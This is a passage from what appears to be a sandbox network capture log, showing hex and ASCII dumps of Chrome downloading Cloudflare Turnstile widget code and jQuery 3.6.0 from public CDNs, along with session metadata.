2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-06 21:54:54 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49724	151.101.130.137	443	3524	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-06 21:54:54 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-03-06 21:54:54 UTC	614	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Thu, 06 Mar 2025 21:54:54 GMT Age: 2539696 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740031-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 19 X-Timer: S1741298094.349399,VS0,VE0 Vary: Accept-Encoding
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2025-03-06 21:54:54 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
